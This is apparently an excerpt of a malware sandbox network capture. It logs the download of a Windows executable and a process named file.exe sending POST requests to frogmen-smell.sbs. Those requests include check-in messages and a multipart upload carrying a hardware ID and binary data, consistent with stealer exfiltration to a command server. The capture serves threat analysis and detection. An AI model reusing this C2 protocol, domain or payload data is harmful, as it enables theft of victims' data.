Nov 16, 2024 04:33:22.948121071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 03:33:22 GMT Content-Type: application/octet-stream Content-Length: 2811904 Last-Modified: Sat, 16 Nov 2024 03:12:52 GMT Connection: keep-alive ETag: "67380db4-2ae800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 a7 74 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +t+`Ui` @ @.rsrc`2@.idata 8@cbohmlna*:@xhxpucmi @+@.taggant@`+"*@
Nov 16, 2024 04:33:22.948189974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 04:33:22.948226929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 04:33:22.948260069 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 04:33:22.948293924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 04:33:22.948323011 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 04:33:22.948358059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 04:33:22.948395014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 04:33:22.948430061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 16, 2024 04:33:22.948465109 CET	636	IN	Data Raw: dd fb aa da 9b f5 d6 d8 d2 e8 08 9e 60 c8 02 cc e0 dc c9 ac 7b fd 90 e6 b7 e1 cc a9 10 5f c9 e2 7a d1 be 34 84 8d bc cf ab 9c d1 7a 76 be 2d 96 b3 f4 c4 c6 66 8f b3 0a 78 a4 cf 28 5b f9 c1 91 dd 8b ca f6 f7 a5 d0 68 99 79 8b ce 8c b7 c9 01 b4 d7 Data Ascii: `{_z4zv-fx([hygz'oVoa,\lPz,\|y\lPx\f8ItWUyb]=MnTQ564iWxa]+Bcr-qm
Nov 16, 2024 04:33:22.953393936 CET	1236	IN	Data Raw: 1a 55 4a 7d 72 90 dc e6 ce 23 d7 f8 5a 90 d9 db aa fa f0 e1 88 a8 d4 48 1c 2e 79 74 62 8d 0b a9 6e cf a6 62 70 90 50 70 70 f5 7e 78 2d 90 ba e8 df 2d 98 7a 18 90 b6 b8 30 90 aa bc 09 7d 2f d9 6f c5 b0 51 a7 bd bc d4 f4 d2 92 c1 b6 28 8b a8 90 e5 Data Ascii: UJ}r#ZH.ytbnbpPpp~x--z0}/oQ(z8!vf,]Rup&%:qM3}_.J&"IQ:A dYH3$_0wr\|R(8OHyp3~Z=_+;Bv>7

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.80.55	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:05 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frogmen-smell.sbs
2024-11-16 03:33:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-16 03:33:05 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=avpfd04ovj48gs5tfs21pa4q20; expires=Tue, 11-Mar-2025 21:19:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tVRx8deenP%2FPZFLPJ8hF6ve9i6OhQ4s19dyLyvhKiPKGnbWkeVbRIdEmodQFVkj0Eez%2F673%2BlS890Pu1tHreqLKmpb4byFhT8UAFSxi3yZ8f2a4n7U326ZrsMqkaDH7m261n8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e346ae43a84e80f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1131&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=908&delivery_rate=2524847&cwnd=251&unsent_bytes=0&cid=6aa82787b39985c0&ts=712&x=0"
2024-11-16 03:33:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-16 03:33:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.80.55	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: frogmen-smell.sbs
2024-11-16 03:33:06 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-16 03:33:06 UTC	1021	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=650dd0o77j08959d8lt3r2mjcv; expires=Tue, 11-Mar-2025 21:19:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z3%2BKjftwDGF7uhI%2BzjosgcqTWW2wCojhWkq14JG%2BG1KPHe%2FuKEbVxKkLipqEvFrlaywJC%2FIeAu1TSZRsqBjUih0ARAvToZiAVcIhkTEE%2F4pAGI9F91h0sz6P7cp9A5gOutI2dw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e346aeba96d6b3a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1271&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2417362&cwnd=243&unsent_bytes=0&cid=0c07ae0246edce95&ts=543&x=0"
2024-11-16 03:33:06 UTC	348	IN	Data Raw: 63 63 64 0d 0a 78 2b 6a 66 6d 79 76 4a 41 36 79 77 5a 63 4a 4e 49 35 76 2f 6b 71 65 78 64 4e 35 6e 6b 69 68 33 32 68 2f 49 34 4f 53 52 6d 66 4b 38 79 71 6d 35 45 66 30 76 6a 73 4d 41 34 48 64 58 36 59 72 33 69 35 4d 56 75 6b 57 6f 54 68 61 32 62 4b 33 4d 78 75 66 30 30 50 32 4f 76 76 64 59 72 43 2b 4f 31 52 33 67 64 33 6a 67 33 66 66 4a 6b 30 37 38 41 76 68 4b 46 72 5a 39 71 59 75 4c 34 66 57 52 72 34 53 34 38 30 36 71 5a 38 33 63 43 4b 63 6f 52 76 71 56 2f 4d 37 63 48 4c 4e 46 76 67 6f 53 6f 44 33 79 77 71 6e 30 37 5a 4f 4b 69 61 7a 77 43 62 51 76 31 35 49 41 72 47 38 5a 75 5a 37 33 78 64 30 53 75 67 7a 36 51 42 2b 2b 66 4b 79 4b 6c 50 6a 2f 6d 71 2b 4b 75 2f 4a 45 6f 33 50 41 31 67 2b 73 4c 6b 7a 36 33 62 36 46 31 41 37 38 58 62 41 5a 4a 37 74 73 75 35 Data Ascii: ccdx+jfmyvJA6ywZcJNI5v/kqexdN5nkih32h/I4OSRmfK8yqm5Ef0vjsMA4HdX6Yr3i5MVukWoTha2bK3Mxuf00P2OvvdYrC+O1R3gd3jg3ffJk078AvhKFrZ9qYuL4fWRr4S4806qZ83cCKcoRvqV/M7cHLNFvgoSoD3ywqn07ZOKiazwCbQv15IArG8ZuZ73xd0Sugz6QB++fKyKlPj/mq+Ku/JEo3PA1g+sLkz63b6F1A78XbAZJ7tsu5
2024-11-16 03:33:06 UTC	1369	IN	Data Raw: 4b 75 2f 64 49 70 6d 48 63 32 67 79 72 4b 6c 50 79 6c 50 33 49 30 78 75 32 43 76 4e 4b 45 72 4a 33 70 59 69 43 2f 76 61 57 70 59 72 39 74 77 6d 73 65 59 36 4b 52 34 4d 71 55 66 36 52 35 6f 66 70 56 71 4e 4c 36 51 6f 53 74 44 33 79 77 6f 37 32 2b 4a 4f 75 68 62 37 78 51 72 6c 68 33 4e 51 4b 70 54 31 48 2f 4a 50 36 78 73 45 63 73 67 50 7a 51 78 36 78 65 4b 32 47 78 72 32 37 6c 37 33 4b 35 62 6c 6f 70 6d 72 43 32 42 43 67 62 31 36 33 68 4c 44 43 33 31 62 6b 52 66 52 4c 45 62 6c 35 70 49 79 43 2f 2f 32 65 71 49 57 37 38 30 6d 73 61 38 62 61 42 71 30 6b 54 76 6d 59 2f 63 48 56 47 72 30 41 73 41 52 56 76 32 58 71 32 73 62 64 2f 4a 4f 33 79 49 6a 36 52 36 56 6d 32 4a 49 59 37 6a 59 42 2f 70 47 77 6e 5a 4d 59 75 51 72 69 53 77 65 39 63 37 69 4f 67 2f 58 32 6b 36 Data Ascii: Ku/dIpmHc2gyrKlPylP3I0xu2CvNKErJ3pYiC/vaWpYr9twmseY6KR4MqUf6R5ofpVqNL6QoStD3ywo72+JOuhb7xQrlh3NQKpT1H/JP6xsEcsgPzQx6xeK2Gxr27l73K5blopmrC2BCgb163hLDC31bkRfRLEbl5pIyC//2eqIW780msa8baBq0kTvmY/cHVGr0AsARVv2Xq2sbd/JO3yIj6R6Vm2JIY7jYB/pGwnZMYuQriSwe9c7iOg/X2k6
2024-11-16 03:33:06 UTC	1369	IN	Data Raw: 52 36 56 6d 32 4a 49 59 37 6a 59 42 2f 70 47 77 6e 5a 4d 61 74 51 58 37 51 42 47 34 65 71 65 48 68 66 54 34 6e 61 4b 41 73 2f 35 4e 70 32 6a 44 31 41 65 6e 4b 30 54 72 6d 50 6e 4a 33 31 62 79 52 66 64 53 56 65 41 39 68 59 57 51 38 4e 53 54 74 49 50 39 35 67 65 79 49 63 6e 65 52 2f 68 76 52 76 79 56 2b 38 50 62 46 71 34 41 2f 6b 45 55 73 6e 75 72 6a 34 72 31 2b 35 47 6c 6a 4c 48 35 54 71 78 7a 33 4e 63 42 73 69 55 42 74 39 33 33 33 5a 4e 4f 2f 44 50 67 58 51 53 75 50 35 2b 42 69 50 33 38 68 75 57 56 38 2b 41 4a 72 47 32 4f 69 6b 65 72 4c 30 33 2b 6c 66 62 42 32 78 6d 7a 44 4f 4a 4c 47 62 5a 76 72 59 4b 50 2f 66 53 63 72 49 65 36 39 45 4b 68 62 4d 72 56 42 75 42 68 41 66 36 46 73 4a 32 54 49 4b 77 49 2f 47 51 65 74 48 54 71 6e 63 6a 71 75 35 65 70 79 75 57 Data Ascii: R6Vm2JIY7jYB/pGwnZMatQX7QBG4eqeHhfT4naKAs/5Np2jD1AenK0TrmPnJ31byRfdSVeA9hYWQ8NSTtIP95geyIcneR/hvRvyV+8PbFq4A/kEUsnurj4r1+5GljLH5Tqxz3NcBsiUBt9333ZNO/DPgXQSuP5+BiP38huWV8+AJrG2OikerL03+lfbB2xmzDOJLGbZvrYKP/fScrIe69EKhbMrVBuBhAf6FsJ2TIKwI/GQetHTqncjqu5epyuW
2024-11-16 03:33:06 UTC	198	IN	Data Raw: 38 48 54 41 36 55 71 52 66 36 5a 39 73 71 54 57 50 77 43 36 41 70 4e 2b 46 4b 4e 74 38 54 53 77 64 43 36 78 4b 53 35 54 71 63 68 6c 70 49 4c 6f 79 4e 4a 39 70 76 35 79 64 6b 66 74 77 6e 37 54 68 6d 78 65 4b 79 44 67 2f 62 36 6c 4b 6d 41 75 2f 70 4b 70 47 37 42 32 6b 66 75 62 30 62 68 33 61 69 46 39 67 47 33 43 2f 59 4b 43 76 5a 6b 36 6f 57 4b 73 36 50 51 71 59 4f 37 2f 30 79 6e 59 4d 6a 61 41 71 67 72 51 50 2b 62 38 38 72 58 45 37 30 4b 39 45 59 62 73 6e 79 72 6a 6f 33 38 38 4a 58 6c 78 50 33 2b 55 65 73 35 6a 75 4d 45 74 6a 68 52 39 64 33 76 69 38 70 57 75 77 6d 77 45 6c 57 35 62 0d 0a Data Ascii: 8HTA6UqRf6Z9sqTWPwC6ApN+FKNt8TSwdC6xKS5TqchlpILoyNJ9pv5ydkftwn7ThmxeKyDg/b6lKmAu/pKpG7B2kfub0bh3aiF9gG3C/YKCvZk6oWKs6PQqYO7/0ynYMjaAqgrQP+b88rXE70K9EYbsnyrjo388JXlxP3+Ues5juMEtjhR9d3vi8pWuwmwElW5b
2024-11-16 03:33:06 UTC	1369	IN	Data Raw: 33 37 39 66 0d 0a 36 43 49 69 50 62 30 6c 61 61 46 75 76 52 50 70 32 76 48 32 67 47 76 4a 6c 50 36 6b 66 37 43 33 52 71 79 43 50 70 4a 47 50 67 7a 36 6f 57 65 73 36 50 51 69 59 32 77 31 30 4b 6e 5a 6f 37 4e 53 62 6c 76 52 76 58 64 71 49 58 66 48 4c 41 4d 38 45 4d 51 73 48 61 6a 68 34 66 34 2f 70 4f 6a 68 37 4c 77 57 36 46 69 77 4e 45 4c 72 43 6c 41 2b 6f 2f 34 7a 4a 4e 59 2f 41 4c 6f 43 6b 33 34 58 4b 53 50 6b 76 54 72 30 4c 72 45 70 4c 6c 4f 70 79 47 57 6b 67 53 68 49 45 4c 34 6b 50 62 4d 32 78 61 36 41 50 39 48 47 37 39 36 71 6f 2b 49 2f 50 32 59 71 49 61 32 39 30 43 74 59 63 2f 59 52 2b 35 76 52 75 48 64 71 49 58 6a 46 62 77 46 36 77 6f 4b 39 6d 54 71 68 59 71 7a 6f 39 43 33 67 4c 54 35 53 71 52 6d 79 74 6b 4c 70 53 70 4f 2b 70 54 31 7a 4e 30 45 74 51 Data Ascii: 379f6CIiPb0laaFuvRPp2vH2gGvJlP6kf7C3RqyCPpJGPgz6oWes6PQiY2w10KnZo7NSblvRvXdqIXfHLAM8EMQsHajh4f4/pOjh7LwW6FiwNELrClA+o/4zJNY/ALoCk34XKSPkvTr0LrEpLlOpyGWkgShIEL4kPbM2xa6AP9HG796qo+I/P2YqIa290CtYc/YR+5vRuHdqIXjFbwF6woK9mTqhYqzo9C3gLT5SqRmytkLpSpO+pT1zN0EtQ
2024-11-16 03:33:07 UTC	1369	IN	Data Raw: 2b 48 79 6d 6a 59 58 38 2b 4a 4f 6b 67 4b 2f 72 52 61 4a 70 79 39 34 4d 72 69 6c 54 2f 35 4c 35 78 74 41 66 75 77 33 38 51 42 61 2f 50 65 54 43 67 65 75 37 79 4f 57 70 71 75 6c 45 36 33 36 41 79 30 65 6e 49 77 47 68 33 66 6a 49 32 78 79 34 41 76 31 4e 45 37 46 76 6f 34 65 49 38 2f 2b 62 71 6f 79 35 2b 6b 6d 35 5a 38 72 61 42 4b 30 69 54 2f 71 5a 73 49 75 54 45 61 52 46 71 41 6f 6e 74 58 4f 78 6a 59 48 69 38 64 43 36 78 4b 53 35 54 71 63 68 6c 70 49 44 72 6a 31 4b 2b 4a 62 37 79 39 51 5a 75 51 2f 77 52 52 47 37 63 36 47 44 68 66 76 32 6e 61 75 41 74 50 42 4f 70 32 58 4a 6b 6b 6e 67 4b 46 6d 35 78 62 44 75 38 6a 75 51 41 75 6f 4b 43 76 5a 6b 36 6f 57 4b 73 36 50 51 71 59 4f 78 38 30 4b 73 61 38 44 62 43 61 73 39 55 2f 71 5a 38 38 7a 51 45 62 55 4c 38 45 30 Data Ascii: +HymjYX8+JOkgK/rRaJpy94MrilT/5L5xtAfuw38QBa/PeTCgeu7yOWpqulE636Ay0enIwGh3fjI2xy4Av1NE7Fvo4eI8/+bqoy5+km5Z8raBK0iT/qZsIuTEaRFqAontXOxjYHi8dC6xKS5TqchlpIDrj1K+Jb7y9QZuQ/wRRG7c6GDhfv2nauAtPBOp2XJkkngKFm5xbDu8juQAuoKCvZk6oWKs6PQqYOx80Ksa8DbCas9U/qZ88zQEbUL8E0
2024-11-16 03:33:07 UTC	1369	IN	Data Raw: 6f 57 65 73 36 50 51 69 49 61 36 30 45 36 77 49 64 47 63 48 75 41 6f 54 62 6e 46 73 4d 54 59 48 4c 4d 49 38 30 77 57 73 33 69 67 67 34 48 37 39 6f 4b 6d 68 62 4c 39 53 61 52 6e 79 4e 4d 49 70 69 68 49 2b 4a 58 33 68 5a 31 57 75 78 32 77 45 6c 57 57 65 71 6d 47 78 75 79 31 69 65 57 4e 73 62 6b 52 36 32 48 45 32 41 32 75 4c 30 62 72 6d 2f 6e 46 30 41 53 2f 41 2f 68 4d 47 62 52 77 6f 6f 75 47 39 76 43 64 72 6f 65 37 2b 55 4b 71 49 59 43 53 41 4c 68 76 47 62 6d 73 2f 63 76 58 47 4c 38 56 39 77 6f 4b 39 6d 54 71 68 59 71 7a 6f 39 43 71 67 36 2f 2b 54 4b 4e 6f 7a 74 77 4f 71 53 68 46 2b 70 7a 30 79 64 77 66 76 77 33 78 51 68 71 37 66 61 47 4b 6a 50 4c 31 6c 65 58 45 2f 66 35 52 36 7a 6d 4f 2f 51 53 6c 4a 45 43 37 75 76 62 43 33 31 61 6a 53 2b 6b 4b 45 72 51 39 Data Ascii: oWes6PQiIa60E6wIdGcHuAoTbnFsMTYHLMI80wWs3igg4H79oKmhbL9SaRnyNMIpihI+JX3hZ1Wux2wElWWeqmGxuy1ieWNsbkR62HE2A2uL0brm/nF0AS/A/hMGbRwoouG9vCdroe7+UKqIYCSALhvGbms/cvXGL8V9woK9mTqhYqzo9Cqg6/+TKNoztwOqShF+pz0ydwfvw3xQhq7faGKjPL1leXE/f5R6zmO/QSlJEC7uvbC31ajS+kKErQ9
2024-11-16 03:33:07 UTC	1369	IN	Data Raw: 58 71 33 59 4b 51 73 50 39 65 75 69 47 41 6b 67 48 67 64 78 47 33 33 66 54 55 6b 30 37 73 56 36 73 66 52 75 38 74 2b 4a 33 49 36 72 75 47 35 64 4c 76 74 77 6d 35 49 5a 61 53 51 4b 4d 39 55 2f 2b 65 35 73 61 55 4b 49 49 72 39 30 77 51 76 32 33 6f 72 49 33 6e 2f 4e 44 72 79 72 4b 35 45 5a 49 68 68 70 49 34 37 6d 39 5a 75 63 57 77 38 4e 41 59 73 67 4c 6d 57 31 69 57 65 71 79 48 67 65 4f 35 76 71 36 65 75 72 6b 48 36 32 65 4f 69 6c 66 75 62 30 58 6f 33 61 69 56 67 55 33 70 56 71 63 61 52 36 63 7a 73 38 4b 51 73 36 50 43 36 38 71 76 75 52 48 72 4a 73 33 41 46 61 59 73 56 2f 72 61 7a 76 76 51 41 4c 45 4b 2b 30 73 72 68 6c 4f 6e 67 34 58 39 75 61 47 7a 68 36 33 36 54 4b 78 66 38 4e 77 41 74 43 68 50 2f 35 32 77 69 35 4d 5a 2f 46 33 4a 43 6c 33 34 51 75 54 43 6e Data Ascii: Xq3YKQsP9euiGAkgHgdxG33fTUk07sV6sfRu8t+J3I6ruG5dLvtwm5IZaSQKM9U/+e5saUKIIr90wQv23orI3n/NDryrK5EZIhhpI47m9ZucWw8NAYsgLmW1iWeqyHgeO5vq6eurkH62eOilfub0Xo3aiVgU3pVqcaR6czs8KQs6PC68qvuRHrJs3AFaYsV/razvvQALEK+0srhlOng4X9uaGzh636TKxf8NwAtChP/52wi5MZ/F3JCl34QuTCn
2024-11-16 03:33:07 UTC	1369	IN	Data Raw: 32 33 65 32 72 56 75 56 34 6a 73 52 48 2b 48 30 50 75 59 2b 77 6e 5a 4e 52 76 78 66 69 54 42 61 75 66 75 32 38 75 4e 54 31 6c 36 53 63 72 66 52 46 69 6d 4c 66 32 44 6d 65 4f 6b 4c 33 6b 2f 66 54 77 6c 62 79 52 66 38 4b 54 59 45 39 34 73 4b 35 76 62 75 49 35 64 4c 39 7a 45 71 6c 62 38 6e 45 46 75 30 49 54 2f 36 63 35 74 58 65 47 70 30 47 34 55 42 56 39 6a 32 73 77 74 36 68 74 64 43 68 6d 2f 32 68 47 66 6b 36 6d 34 46 51 38 48 31 65 74 34 53 77 30 35 4e 4f 37 6b 75 77 57 46 58 67 50 65 32 42 6c 4f 48 39 6b 37 4f 4a 2b 73 64 33 6a 6e 62 4e 77 67 47 6a 45 58 2f 53 6b 66 62 43 79 52 47 36 49 39 41 4b 57 2f 68 79 36 74 71 2f 73 37 50 51 6d 73 54 39 34 51 6e 7a 49 66 76 52 43 61 34 6f 56 2b 6a 51 31 64 4c 51 42 72 6f 47 73 41 52 56 76 6a 33 79 30 73 69 7a 2f 34 Data Ascii: 23e2rVuV4jsRH+H0PuY+wnZNRvxfiTBaufu28uNT1l6ScrfRFimLf2DmeOkL3k/fTwlbyRf8KTYE94sK5vbuI5dL9zEqlb8nEFu0IT/6c5tXeGp0G4UBV9j2swt6htdChm/2hGfk6m4FQ8H1et4Sw05NO7kuwWFXgPe2BlOH9k7OJ+sd3jnbNwgGjEX/SkfbCyRG6I9AKW/hy6tq/s7PQmsT94QnzIfvRCa4oV+jQ1dLQBroGsARVvj3y0siz/4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.80.55	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:07 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T3TY3HNTRXEUJWJBG3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18169 Host: frogmen-smell.sbs
2024-11-16 03:33:07 UTC	15331	OUT	Data Raw: 2d 2d 54 33 54 59 33 48 4e 54 52 58 45 55 4a 57 4a 42 47 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 43 43 43 46 38 46 46 34 46 45 43 36 36 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 54 33 54 59 33 48 4e 54 52 58 45 55 4a 57 4a 42 47 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 33 54 59 33 48 4e 54 52 58 45 55 4a 57 4a 42 47 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --T3TY3HNTRXEUJWJBG3Content-Disposition: form-data; name="hwid"1DCCCF8FF4FEC667F7005D7B20127A88--T3TY3HNTRXEUJWJBG3Content-Disposition: form-data; name="pid"2--T3TY3HNTRXEUJWJBG3Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-16 03:33:07 UTC	2838	OUT	Data Raw: 41 bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa Data Ascii: A~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'
